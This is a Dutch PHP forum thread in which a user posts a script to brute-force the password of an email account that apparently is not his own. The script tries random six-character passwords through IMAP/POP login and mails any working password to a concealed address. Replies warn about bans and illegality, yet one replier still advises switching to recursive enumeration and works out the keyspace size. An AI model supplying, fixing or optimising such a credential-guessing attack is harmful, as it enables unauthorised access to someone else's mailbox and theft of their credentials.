Hallo,

Ik wil dmv brute-force achter een wachtwoord komen. Rustig maar, ik weet wat ik doe, als ik erachter ben ga ik er geen rare dingen mee doen. Het gaat om het wachtwoord van een e-mailaccount, en ik heb nu dit script gebruikt om steeds een ander wachtwoord te testen, maar er gebeurt niets, behalve dat de kop op het scherm komt.
Dit is de code:
<?php
echo '<h1>Brute-force manager</h1>';
function bruteforce()
{
$tekens = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890';
$wachtwoord = '';
for ($i = 0; $i < 6; $i ++)
{
$random = rand(0, strlen($tekens) - 1);
$wachtwoord = $wachtwoord . substr($tekens, $random, $random + 1);
}
echo "\n" . '<p><i>' . $wachtwoord . '</i>, ';
if($imap = @imap_open("{pop.***.nl}", '***@***.nl',$wachtwoord))
{
mail('***', 'Wachtwoord administratie *** netwerk', $wachtwoord);
echo '<b>wel gelukt</b></p>';
exit;
}
else
{
echo 'niet gelukt</p>';
bruteforce();
}
}
bruteforce();
?>
Weet iemand raad?

Groeten,
Jonathan
er staat hier een md5 force script in de scriptlib.

Verder ga ik hier niet mee helpen.
Zal je pop-server leuk vinden.

Ik zou niet verbaast zijn als je binnenkort helemaal geen verbinding meer kan maken met die pop-server...
@kalle: uhm (klinkt misschien een beteje dom) wat moet ik ermee??? ik heb ook geen md5 hash...
@php newbie: waarom wil je niet helpen ? :'(
@jelmer: tís mijn popserver (gelukkig) ook niet;)
@jonathan.

Omdat een brute-force script is.
Waarom die het niet doet kun ik je niet vertellen.

Wat ik je wel kan vertellen is:

- Het is heeeel bizar dat je met random wachtwoorden werkt, je kunt beter gewoon combinaties afgaan, dat scheelt je echt 3 keer zoveel tijd aan bruteforcen
- Je wordt hoogstwaarschijnlijk geband o.i.d. door de mailserver omdat je te veel connecties aangaat (als het al niet illegaal is)
- error-reporting?
@phperik: hoe moet ik die combinaties dan maken?
Nou kijk eens op die site, voor de 3e keer.

Daar staat een recursieve functie. Die moet je hebben.
1 char: [a-z 0-9]
2 char: [1 char] [a-z 0-9]
3 char: [2 char] [a-z 0-9]

char = karakter(s)

Steeds alle letters van a tot z en cijfers van 0 tot 9 achter de vorige plakken dus. Genaamd: recursie.
Aantal combinaties is dus voor 6 karakters gelijk aan 36^6 = 2.176.782.336

Als je het random gaat doen kom je denk ik op het tweedubbele (voordat je alles hebt gehad).

/edit
Ohh je gebruikt ook hoofdletters, dus 62 tot de macht 6.

Reageren